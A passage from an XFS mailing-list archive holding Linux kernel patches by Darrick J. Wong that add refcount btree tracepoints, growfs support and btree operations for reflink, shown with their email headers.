+DEFINE_AG_ERROR_EVENT(xfs_refcount_modify_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_split_left_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_split_right_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_merge_left_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_merge_right_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_find_left_extent_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_find_right_extent_error); +DEFINE_REFCOUNT_DOUBLE_EXTENT_EVENT(xfs_refcount_rec_order_error); + +/* reflink tracepoints */ +DEFINE_INODE_EVENT(xfs_reflink_set_inode_flag); +DEFINE_INODE_EVENT(xfs_reflink_unset_inode_flag); +DEFINE_ITRUNC_EVENT(xfs_reflink_update_inode_size); +DEFINE_IOMAP_EVENT(xfs_reflink_read_iomap); +TRACE_EVENT(xfs_reflink_main_loop, + TP_PROTO(struct xfs_inode *src, xfs_fileoff_t soffset, + xfs_filblks_t len, struct xfs_inode *dest, + xfs_fileoff_t doffset), + TP_ARGS(src, soffset, len, dest, doffset), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, src_ino) + __field(xfs_fileoff_t, src_lblk) + __field(xfs_filblks_t, len) + __field(xfs_ino_t, dest_ino) + __field(xfs_fileoff_t, dest_lblk) + ), + TP_fast_assign( + __entry->dev = VFS_I(src)->i_sb->s_dev; + __entry->src_ino = src->i_ino; + __entry->src_lblk = soffset; + __entry->len = len; + __entry->dest_ino = dest->i_ino; + __entry->dest_lblk = doffset; + ), + TP_printk("dev %d:%d len 0x%llx " + "ino 0x%llx offset 0x%llx blocks -> " + "ino 0x%llx offset 0x%llx blocks", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->len, + __entry->src_ino, + __entry->src_lblk, + __entry->dest_ino, + __entry->dest_lblk) +); +TRACE_EVENT(xfs_reflink_punch_range, + TP_PROTO(struct xfs_inode *ip, xfs_fileoff_t lblk, + xfs_extlen_t len), + TP_ARGS(ip, lblk, len), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(xfs_fileoff_t, lblk) + __field(xfs_extlen_t, len) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->lblk = lblk; + __entry->len = len; + ), + TP_printk("dev %d:%d ino 0x%llx lblk 0x%llx len 0x%x", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->lblk, + __entry->len) +); +TRACE_EVENT(xfs_reflink_remap_range, + TP_PROTO(struct xfs_inode *ip, xfs_fileoff_t lblk, + xfs_extlen_t len, xfs_fsblock_t new_pblk), + TP_ARGS(ip, lblk, len, new_pblk), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(xfs_fileoff_t, lblk) + __field(xfs_extlen_t, len) + __field(xfs_fsblock_t, new_pblk) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->lblk = lblk; + __entry->len = len; + __entry->new_pblk = new_pblk; + ), + TP_printk("dev %d:%d ino 0x%llx lblk 0x%llx len 0x%x new_pblk %llu", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->lblk, + __entry->len, + __entry->new_pblk) +); +DEFINE_DOUBLE_IO_EVENT(xfs_reflink_range); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_range_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_set_inode_flag_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_update_inode_size_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_reflink_main_loop_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_read_iomap_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_punch_range_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_remap_range_error); + +/* dedupe tracepoints */ +DEFINE_DOUBLE_IO_EVENT(xfs_reflink_compare_extents); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_compare_extents_error); + +/* ioctl tracepoints */ +DEFINE_DOUBLE_VFS_IO_EVENT(xfs_ioctl_reflink); +DEFINE_DOUBLE_VFS_IO_EVENT(xfs_ioctl_clone_range); +DEFINE_DOUBLE_VFS_IO_EVENT(xfs_ioctl_file_extent_same); +TRACE_EVENT(xfs_ioctl_clone, + TP_PROTO(struct inode *src, struct inode *dest), + TP_ARGS(src, dest), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(unsigned long, src_ino) + __field(loff_t, src_isize) + __field(unsigned long, dest_ino) + __field(loff_t, dest_isize) + ), + TP_fast_assign( + __entry->dev = src->i_sb->s_dev; + __entry->src_ino = src->i_ino; + __entry->src_isize = i_size_read(src); + __entry->dest_ino = dest->i_ino; + __entry->dest_isize = i_size_read(dest); + ), + TP_printk("dev %d:%d " + "ino 0x%lx isize 0x%llx -> " + "ino 0x%lx isize 0x%llx\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->src_ino, + __entry->src_isize, + __entry->dest_ino, + __entry->dest_isize) +); + +/* unshare tracepoints */ +DEFINE_INODE_EVENT(xfs_reflink_unshare); +DEFINE_PAGE_EVENT(xfs_reflink_unshare_page); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_unshare_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_dirty_page_error); + +/* copy on write events */ +TRACE_EVENT(xfs_reflink_bounce_direct_write, + TP_PROTO(struct xfs_inode *ip, struct xfs_bmbt_irec *irec), + TP_ARGS(ip, irec), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(xfs_fileoff_t, lblk) + __field(xfs_extlen_t, len) + __field(xfs_fsblock_t, pblk) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->lblk = irec->br_startoff; + __entry->len = irec->br_blockcount; + __entry->pblk = irec->br_startblock; + ), + TP_printk("dev %d:%d ino 0x%llx lblk 0x%llx len 0x%x pblk %llu", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->lblk, + __entry->len, + __entry->pblk) +); +DEFINE_COW_EVENT(xfs_reflink_reserve_fork_block); +DEFINE_COW_EVENT(xfs_reflink_write_fork_block); +DEFINE_COW_EVENT(xfs_reflink_remap_after_io); +DEFINE_COW_EVENT(xfs_reflink_free_forked); +DEFINE_COW_EVENT(xfs_reflink_fork_buf); +DEFINE_COW_EVENT(xfs_reflink_finish_fork_buf); +DEFINE_RW_EVENT(xfs_reflink_force_getblocks); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_reserve_fork_block_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_remap_after_io_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_free_forked_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_fork_buf_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_finish_fork_buf_error); +DEFINE_INODE_ERROR_EVENT(xfs_reflink_write_fork_block_error); + #endif /* _TRACE_XFS_H */ #undef TRACE_INCLUDE_PATH From darrick.wong@oracle.com Tue Oct 6 23:59:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D9FB429E22 for ; Tue, 6 Oct 2015 23:59:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA6818F804B for ; Tue, 6 Oct 2015 21:59:24 -0700 (PDT) X-ASG-Debug-ID: 1444193963-04bdf020da0e550001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 4Sg3ZKfGDMWjUqnW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:23 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xMRB013217 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:22 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974xLbr028461 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:22 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974xLCJ003622; Wed, 7 Oct 2015 04:59:21 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:21 -0700 Subject: [PATCH 38/58] xfs: add refcount btree support to growfs From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 38/58] xfs: add refcount btree support to growfs To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:20 -0700 Message-ID: <20151007045920.30457.11526.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193963 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Modify the growfs code to initialize new refcount btree blocks. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_fsops.c | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 64bb02b..7c37c22 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -260,6 +260,11 @@ xfs_growfs_data_private( agf->agf_longest = cpu_to_be32(tmpsize); if (xfs_sb_version_hascrc(&mp->m_sb)) uuid_copy(&agf->agf_uuid, &mp->m_sb.sb_meta_uuid); + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + agf->agf_refcount_root = cpu_to_be32( + xfs_refc_block(mp)); + agf->agf_refcount_level = cpu_to_be32(1); + } error = xfs_bwrite(bp); xfs_buf_relse(bp); @@ -451,6 +456,17 @@ xfs_growfs_data_private( rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); + /* account for refc btree root */ + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + rrec = XFS_RMAP_REC_ADDR(block, 5); + rrec->rm_startblock = cpu_to_be32( + xfs_refc_block(mp)); + rrec->rm_blockcount = cpu_to_be32(1); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_REFC); + rrec->rm_offset = 0; + be16_add_cpu(&block->bb_numrecs, 1); + } + error = xfs_bwrite(bp); xfs_buf_relse(bp); if (error) @@ -508,6 +524,28 @@ xfs_growfs_data_private( goto error0; } + /* + * refcount btree root block + */ + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + bp = xfs_growfs_get_hdr_buf(mp, + XFS_AGB_TO_DADDR(mp, agno, xfs_refc_block(mp)), + BTOBB(mp->m_sb.sb_blocksize), 0, + &xfs_refcountbt_buf_ops); + if (!bp) { + error = -ENOMEM; + goto error0; + } + + xfs_btree_init_block(mp, bp, XFS_REFC_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + + error = xfs_bwrite(bp); + xfs_buf_relse(bp); + if (error) + goto error0; + } } xfs_trans_agblocks_delta(tp, nfree); /* From darrick.wong@oracle.com Tue Oct 6 23:59:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D76E229E0E for ; Tue, 6 Oct 2015 23:59:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B765AC005 for ; Tue, 6 Oct 2015 21:59:33 -0700 (PDT) X-ASG-Debug-ID: 1444193970-04cb6c57850d540001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id TLQsys1sweT6HI1L (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:30 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xSxi013274 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:29 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974xSHW028739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:28 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974xSwK003752; Wed, 7 Oct 2015 04:59:28 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:28 -0700 Subject: [PATCH 39/58] xfs: add refcount btree operations From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 39/58] xfs: add refcount btree operations To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:26 -0700 Message-ID: <20151007045926.30457.50866.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193970 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Implement the generic btree operations required to manipulate refcount btree blocks. The implementation is similar to the bmapbt, though it will only allocate and free blocks from the AG. Signed-off-by: Darrick J. Wong --- fs/xfs/Makefile | 1 fs/xfs/libxfs/xfs_refcount.c | 169 ++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 29 +++++ fs/xfs/libxfs/xfs_refcount_btree.c | 203 ++++++++++++++++++++++++++++++++++++ 4 files changed, 402 insertions(+) create mode 100644 fs/xfs/libxfs/xfs_refcount.c create mode 100644 fs/xfs/libxfs/xfs_refcount.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index c394ec2..3565db6 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -53,6 +53,7 @@ xfs-y += $(addprefix libxfs/, \ xfs_log_rlimit.o \ xfs_rmap.o \ xfs_rmap_btree.o \ + xfs_refcount.o \ xfs_refcount_btree.o \ xfs_sb.o \ xfs_symlink_remote.o \ diff --git a/fs/xfs/libxfs/xfs_refcount.c b/fs/xfs/libxfs/xfs_refcount.c new file mode 100644 index 0000000..b3f2c25 --- /dev/null +++ b/fs/xfs/libxfs/xfs_refcount.c @@ -0,0 +1,169 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" +#include "xfs_alloc.h" +#include "xfs_error.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_trans.h" +#include "xfs_bit.h" +#include "xfs_refcount.h" + +/** + * xfs_refcountbt_lookup_le() -- Look up the first record less than or equal to + * [bno, len] in the btree given by cur. + * @cur: refcount btree cursor + * @bno: AG block number to look up + * @stat: set to 1 if successful, 0 otherwise + */ +int +xfs_refcountbt_lookup_le( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + int *stat) +{ + trace_xfs_refcountbt_lookup(cur->bc_mp, cur->bc_private.a.agno, bno, + XFS_LOOKUP_LE); + cur->bc_rec.rc.rc_startblock = bno; + cur->bc_rec.rc.rc_blockcount = 0; + return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); +} + +/** + * xfs_refcountbt_lookup_ge() -- Look up the first record greater than or equal + * to [bno, len] in the btree given by cur. + * @cur: refcount btree cursor + * @bno: AG block number to look up + * @stat: set to 1 if successful, 0 otherwise + */ +int /* error */ +xfs_refcountbt_lookup_ge( + struct xfs_btree_cur *cur, /* btree cursor */ + xfs_agblock_t bno, /* starting block of extent */ + int *stat) /* success/failure */ +{ + trace_xfs_refcountbt_lookup(cur->bc_mp, cur->bc_private.a.agno, bno, + XFS_LOOKUP_GE); + cur->bc_rec.rc.rc_startblock = bno; + cur->bc_rec.rc.rc_blockcount = 0; + return xfs_btree_lookup(cur, XFS_LOOKUP_GE, stat); +} + +/** + * xfs_refcountbt_get_rec() -- Get the data from the pointed-to record. + * + * @cur: refcount btree cursor + * @irec: set to the record currently pointed to by the btree cursor + * @stat: set to 1 if successful, 0 otherwise + */ +int +xfs_refcountbt_get_rec( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, + int *stat) +{ + union xfs_btree_rec *rec; + int error; + + error = xfs_btree_get_rec(cur, &rec, stat); + if (!error && *stat == 1) { + irec->rc_startblock = be32_to_cpu(rec->refc.rc_startblock); + irec->rc_blockcount = be32_to_cpu(rec->refc.rc_blockcount); + irec->rc_refcount = be32_to_cpu(rec->refc.rc_refcount); + trace_xfs_refcountbt_get(cur->bc_mp, cur->bc_private.a.agno, + irec); + } + return error; +} + +/* + * Update the record referred to by cur to the value given + * by [bno, len, refcount]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_update( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec) +{ + union xfs_btree_rec rec; + + trace_xfs_refcountbt_update(cur->bc_mp, cur->bc_private.a.agno, irec); + rec.refc.rc_startblock = cpu_to_be32(irec->rc_startblock); + rec.refc.rc_blockcount = cpu_to_be32(irec->rc_blockcount); + rec.refc.rc_refcount = cpu_to_be32(irec->rc_refcount); + return xfs_btree_update(cur, &rec); +} + +/* + * Insert the record referred to by cur to the value given + * by [bno, len, refcount]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_insert( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, + int *i) +{ + trace_xfs_refcountbt_insert(cur->bc_mp, cur->bc_private.a.agno, irec); + cur->bc_rec.rc.rc_startblock = irec->rc_startblock; + cur->bc_rec.rc.rc_blockcount = irec->rc_blockcount; + cur->bc_rec.rc.rc_refcount = irec->rc_refcount; + return xfs_btree_insert(cur, i); +} + +/* + * Remove the record referred to by cur, then set the pointer to the spot + * where the record could be re-inserted, in case we want to increment or + * decrement the cursor. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_delete( + struct xfs_btree_cur *cur, + int *i) +{ + struct xfs_refcount_irec irec; + int found_rec; + int error; + + error = xfs_refcountbt_get_rec(cur, &irec, &found_rec); + if (error) + return error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + trace_xfs_refcountbt_delete(cur->bc_mp, cur->bc_private.a.agno, &irec); + error = xfs_btree_delete(cur, i); + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, *i == 1, out_error); + if (error) + return error; + error = xfs_refcountbt_lookup_ge(cur, irec.rc_startblock, &found_rec); +out_error: + return error; +} diff --git a/fs/xfs/libxfs/xfs_refcount.h b/fs/xfs/libxfs/xfs_refcount.h new file mode 100644 index 0000000..033a9b1 --- /dev/null +++ b/fs/xfs/libxfs/xfs_refcount.h @@ -0,0 +1,29 @@ +/* + * Copyright (c) 2000,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_REFCOUNT_H__ +#define __XFS_REFCOUNT_H__ + +extern int xfs_refcountbt_lookup_le(struct xfs_btree_cur *cur, + xfs_agblock_t bno, int *stat); +extern int xfs_refcountbt_lookup_ge(struct xfs_btree_cur *cur, + xfs_agblock_t bno, int *stat); +extern int xfs_refcountbt_get_rec(struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, int *stat); + +#endif /* __XFS_REFCOUNT_H__ */ diff --git a/fs/xfs/libxfs/xfs_refcount_btree.c b/fs/xfs/libxfs/xfs_refcount_btree.c index 7067a05..d7574cd 100644 --- a/fs/xfs/libxfs/xfs_refcount_btree.c +++ b/fs/xfs/libxfs/xfs_refcount_btree.c @@ -43,6 +43,158 @@ xfs_refcountbt_dup_cursor( cur->bc_private.a.flist); } +STATIC void +xfs_refcountbt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr, + int inc) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + struct xfs_perag *pag = xfs_perag_get(cur->bc_mp, seqno); + + ASSERT(ptr->s != 0); + + agf->agf_refcount_root = ptr->s; + be32_add_cpu(&agf->agf_refcount_level, inc); + pag->pagf_refcount_level += inc; + xfs_perag_put(pag); + + xfs_alloc_log_agf(cur->bc_tp, agbp, XFS_AGF_ROOTS | XFS_AGF_LEVELS); +} + +STATIC int +xfs_refcountbt_alloc_block( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *start, + union xfs_btree_ptr *new, + int *stat) +{ + struct xfs_alloc_arg args; /* block allocation args */ + int error; /* error return value */ + + memset(&args, 0, sizeof(args)); + args.tp = cur->bc_tp; + args.mp = cur->bc_mp; + args.type = XFS_ALLOCTYPE_NEAR_BNO; + args.fsbno = XFS_AGB_TO_FSB(cur->bc_mp, cur->bc_private.a.agno, + xfs_refc_block(args.mp)); + args.firstblock = args.fsbno; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_REFC); + args.minlen = args.maxlen = args.prod = 1; + + error = xfs_alloc_vextent(&args); + if (error) + goto out_error; + if (args.fsbno == NULLFSBLOCK) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 0; + return 0; + } + ASSERT(args.agno == cur->bc_private.a.agno); + ASSERT(args.len == 1); + + new->s = cpu_to_be32(args.agbno); + + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 1; + return 0; + +out_error: + XFS_BTREE_TRACE_CURSOR(cur, XBT_ERROR); + return error; +} + +STATIC int +xfs_refcountbt_free_block( + struct xfs_btree_cur *cur, + struct xfs_buf *bp) +{ + struct xfs_mount *mp = cur->bc_mp; + struct xfs_trans *tp = cur->bc_tp; + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + struct xfs_owner_info oinfo; + + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_REFC); + xfs_bmap_add_free(mp, cur->bc_private.a.flist, fsbno, 1, + &oinfo); + xfs_trans_binval(tp, bp); + return 0; +} + +STATIC int +xfs_refcountbt_get_minrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_refc_mnr[level != 0]; +} + +STATIC int +xfs_refcountbt_get_maxrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_refc_mxr[level != 0]; +} + +STATIC void +xfs_refcountbt_init_key_from_rec( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + ASSERT(rec->refc.rc_startblock != 0); + + key->refc.rc_startblock = rec->refc.rc_startblock; +} + +STATIC void +xfs_refcountbt_init_rec_from_key( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + ASSERT(key->refc.rc_startblock != 0); + + rec->refc.rc_startblock = key->refc.rc_startblock; +} + +STATIC void +xfs_refcountbt_init_rec_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_rec *rec) +{ + ASSERT(cur->bc_rec.rc.rc_startblock != 0); + + rec->refc.rc_startblock = cpu_to_be32(cur->bc_rec.rc.rc_startblock); + rec->refc.rc_blockcount = cpu_to_be32(cur->bc_rec.rc.rc_blockcount); + rec->refc.rc_refcount = cpu_to_be32(cur->bc_rec.rc.rc_refcount); +} + +STATIC void +xfs_refcountbt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agf->agf_seqno)); + ASSERT(agf->agf_refcount_root != 0); + + ptr->s = agf->agf_refcount_root; +} + +STATIC __int64_t +xfs_refcountbt_key_diff( + struct xfs_btree_cur *cur, + union xfs_btree_key *key) +{ + struct xfs_refcount_irec *rec = &cur->bc_rec.rc; + struct xfs_refcount_key *kp = &key->refc; + + return (__int64_t)be32_to_cpu(kp->rc_startblock) - rec->rc_startblock; +} + STATIC bool xfs_refcountbt_verify( struct xfs_buf *bp) @@ -104,12 +256,63 @@ const struct xfs_buf_ops xfs_refcountbt_buf_ops = { .verify_write = xfs_refcountbt_write_verify, }; +#if defined(DEBUG) || defined(XFS_WARN) +STATIC int +xfs_refcountbt_keys_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_key *k1, + union xfs_btree_key *k2) +{ + return be32_to_cpu(k1->refc.rc_startblock) < + be32_to_cpu(k2->refc.rc_startblock); +} + +STATIC int +xfs_refcountbt_recs_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_rec *r1, + union xfs_btree_rec *r2) +{ + struct xfs_refcount_irec a, b; + + int ret = be32_to_cpu(r1->refc.rc_startblock) + + be32_to_cpu(r1->refc.rc_blockcount) <= + be32_to_cpu(r2->refc.rc_startblock); + if (!ret) { + a.rc_startblock = be32_to_cpu(r1->refc.rc_startblock); + a.rc_blockcount = be32_to_cpu(r1->refc.rc_blockcount); + a.rc_refcount = be32_to_cpu(r1->refc.rc_refcount); 